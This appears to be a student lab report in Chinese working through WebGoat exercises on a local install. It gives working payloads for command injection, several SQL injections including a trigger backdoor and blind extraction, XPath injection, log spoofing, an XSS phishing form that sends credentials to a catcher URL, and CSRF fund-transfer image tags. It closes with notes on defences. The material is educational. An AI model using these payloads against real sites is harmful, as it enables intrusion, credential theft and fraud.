1、實驗過程javascript
0.開啓webgoathtml
(0)下載(地址:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1)java
下載完成後,將文件放到主目錄下。git
(1)輸入 java -jar webgoat-container-7.0.1-war-exec.jar github
(2)瀏覽器打開圖中的url: http://localhost:8080/WebGoat web
(3)選擇登陸表單下面的任一用戶名和密碼進行登陸數據庫
1.命令注入(Command Injection)瀏覽器
(1)在下拉框上右擊,點擊 inspect Element ,在 AccessControlMatrix.help 旁邊加上"& netstat -an"
安全
(2)選中修改後的值再點 view ,能夠看到命令被執行,出現系統網絡鏈接狀況:服務器
2.數字型SQL注入(Numeric SQL Injection)
題目大體爲:Try to inject an SQL string that results in all the weather data being displayed. (經過注入呈現全部的天氣數據信息)
(1)經過觀察給出的SQL語句,以及點擊提交後呈現的數據發現:「station」參數爲注入點,直接在頁面代碼裏的option標籤的value值裏添加 or 1=1 拼湊出語句: SELECT * FROM weather_data WHERE station =101 or 1=1 便可產生注入
3.日誌欺騙(Log Spoofing)
(1)灰色區域表明在Web 服務器的日誌中的記錄的內容。目的是使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」
(2)往該應用中注入回車(0d%)和換行符(%0a)。在username 中填入「helloworld%0d%0aLogin Succeeded for username: admin」
4.XPATH Injection
(1)XPATH 注入發生在當網站使用用戶提供的信息查詢XML數據時。經過向網站故意發送異常信息,攻擊者能夠發現XML數據的結構或訪問那些原本沒法訪問到的數據。若是該XML 是一個用戶認證文件(例如一個基於XML 的用戶文件),攻擊者還能借此提高本身在網站中的特權。使用XPATH 查詢XML,經過一個簡單的描述性語句類型,容許XML 查詢,找到一條信息。
(2)題目要求是使用賬戶Mike/Test123,目標是試着去查看其餘員工的數據。
(3)在用戶名處注入 hello' or 1=1 or 'a'='a ,密碼是必須的字段,能夠任意輸入
5.SQL字符串注入(String SQL Injection)
(1)下面的表格,容許用戶查看他們的信用卡號碼。嘗試經過SQL注入將全部信用卡信息顯示出來
(2)輸入 hello' or 1=1-- ,進行注入
6.LAB: SQL Injection
【1】Stage 1:String SQL Injection
(1)以用戶Neville登陸,在密碼欄中輸入 ' or 1=1 -- 永真式進行SQL注入,發現登陸失敗
(2)查看發現password的最大長度爲8,將其修改成20,再次注入,成功
【2】Stage 3:Numeric SQL Injection
(1)該題目的目的是經過注入語句,瀏覽到本來沒法瀏覽的信息。繞過認證執行SQL注入,經過一個普通員工的帳戶larry,瀏覽其BOSS的帳戶信息。
(2)咱們先使用上一題的辦法登陸進Larry的帳戶。(即修改password字段的長度)
(3)老闆的薪水應該是最高的,因此把其中的value值改成 101 or 1=1 order by salary desc -- ,這樣老闆的信息就會被排到第一個
(4)點擊 ViewProfile ,便可查看老闆的詳細信息
7.Database Backdoors
(1)Try to inject another update to update salary to something higher(利用UPDATE語句,經過SQL注入「漲工資」)
(2)輸入注入語句: 101; update employee set salary=10000 ,成功把該用戶的工資漲到了10000。
(3)接下來,添加觸發器,其功能是建立SQL後門,把表中全部的郵箱和用戶ID都設爲指定數據
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='hello@world.com'WHERE userid = NEW.userid
8.數字盲注(Blind Numeric SQL Injection)
(1)題目中說明了下面的表單容許用戶輸入賬號並肯定它是否有效,即返回值只有帳戶有效或無效兩種。目標是找到 pins 表中cc_number 字段值爲1111222233334444 的記錄中pin 字段的數值。pin 字段類型爲int,整型。輸入找到的數值並提交,經過本課程。
(2)先輸入 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000); ,結果是 Invalid account number. ,無效。
(3)經過二分法,不斷嘗試,肯定範圍在2000-2500之間,繼續二分法嘗試,最終獲得Number爲2364
9.盲字符串注入(Blind String SQL Injection)
(1)下面的表單容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。目標是找到 pins 表中cc_number 字段值爲4321432143214321 的記錄中pin 字段的數值。pin 字段類型爲varchar。輸入找到的數值(最終的字符串,注意拼寫和大寫)並提交,經過本課程。
(2)一樣能夠經過注入的方式查找到該字段的值。查詢語句很是相似上一節:
該語句使用了SUBSTRING 方法,目的是爲了取得pin字段數值的第一個字母,並判斷其是否比字母「M」小。
(3) 通過屢次測試(比較0-9A-Za-z 等字符串)和頁面的返回數據,判斷出第一個字符爲「J」。同理繼續判斷第二個字符。
(4)這樣一步步嘗試,最後肯定用戶名爲 Jill
10.跨站腳本釣魚攻擊(Phishing with XSS)
(1)題目要求是關於一個頁面中存在XSS漏洞時,如何支持釣魚攻擊。要求咱們利用xss和html注入達到這些目標。
(2)使用XSS和HTML插入製做一個釣魚網站,將其輸入在search框中,代碼以下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR
(3)輸入後下拉網頁,會有用戶名和密碼的框出現,隨意輸入用戶名和密碼
11.LAB: Cross Site Scripting
【1】Stage 1:存儲型XSS ( Stage 1:Stored XSS )
(1)執行存儲型跨站腳本攻擊,以「Tom」身份登陸網站,修改我的信息。驗證用戶「Jerry」會受到攻擊。每一個賬號的密碼是用戶明名字的小寫(如:Tom的密碼是tom)
(2)以用戶名「Tom」密碼tom登陸,選擇Tom,點擊「View Profile」按鈕。如今可 以看到Tom的我的信息。點擊「Edit Profile",在「Street」一欄中進行XSS攻擊。加入 以下代碼,點擊「UpdateProfile": <script>alert("haha");</script>
(3)退出登陸,以用戶名Jerry,密碼jerry登陸,選擇瀏覽Tom的信息,會彈出以下注入腳本,攻擊成功
【3】Stage3:Stored XSS Revisited
驗證Bruce的我的簡介中包含有XSS攻擊,使用David用戶登陸,查看Bruce的我的簡介,出現彈窗,代表存在XSS攻擊。
【5】Stage5:Reflected XSS
(1)使用僱員搜索頁面漏洞構造一個包含反射型XSS攻擊代碼的URL。驗證另外一位僱員訪問該URL會受影響。
(2)以用戶名Tom,密碼tom登陸。點擊「SearchStaff",在搜索框中,添加以下一段代 碼便可完成: <script>alert("XSS");<script>
12.Stored XSS Attacks(存儲式 XSS 攻擊)
(1)目標是建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。
(2)在title中任意輸入字符。在內容中輸入如下代碼: <script>alert("XSS");</script>
(3)點擊「hellworld",這就好比剛建立的帖子,由本身或者其餘人瀏覽,而後會彈出一個對話框,證實XSS攻擊成功
13.Reflected XSS Attacks(反射型XSS)
(1)1.當咱們輸入錯誤的用戶信息後,服務器校驗輸入有誤,會返回錯誤頁面並將錯誤內容展現給咱們看
(2)若是將帶有攻擊性的URL做爲輸入源,好比,就會彈出對話框 <script>alert("helloworld");</script>
14.Cross Site Request Forgery(CSRF)
(1)要求:須要寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊。 以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊了圖片,就會觸發一個CSRF事件。
(2)查看本身電腦的Screen和menu的值
(3)在Message框內輸入 <img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000"/> (這句話的意思是將Funds即金錢轉到本身的帳戶裏),點擊提交以後能夠看到信息
(4)點擊Message List下的連接後,攻擊成功
15.CSRF Prompt By-Pass
(1)和上一個相似,發個郵件給newsgroup,包含兩個惡意請求:一個是轉錢的金額,另外一個是確認轉帳。
(2)在信息框輸入
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" width="1" height="1"> <img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" width="1" height="1">
2、基本問題回答
1.SQL注入攻擊原理,如何防護?
原理:
經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令的目的。
SQL注入攻擊是利用是指利用設計上的漏洞,在目標服務器上運行SQL語句以及進行其餘方式的攻擊,沒有對用戶輸入的數據進行過濾消毒是攻擊成功的主要緣由。
防護:
(1)對漏洞注入點相關代碼進行代碼及SQL注入關鍵字的過濾,以規範代碼安全性;
(2)不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接;
(3)應用的異常信息應該給出儘量少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
2.XSS攻擊的原理,如何防護?
原理:
XSS攻擊全稱跨站腳本攻擊,是爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS,XSS是一種在web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
防護:
(1)統XSS防護多采用特徵匹配方式,在全部提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,採用的模式匹配方法通常會須要對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊;
(2)檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。
3.CSRF攻擊原理,如何防護?
原理:
CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。
防護:
(1)對於web站點,將持久化的受權方法(例如cookie或者HTTP受權)切換爲瞬時的受權方法(在每一個form中提供隱藏field),這將幫助網站防止這些攻擊。一種相似的方式是在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證;
(2)改良站內 API 的設計。對於發佈帖子這一類建立資源的操做,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變服務器端資源。
3、感想
根據指導,加深了我對SQL注入、XSS和CSRF的理解。在經歷了一個學期別樣的技術課程學習後,收穫挺大。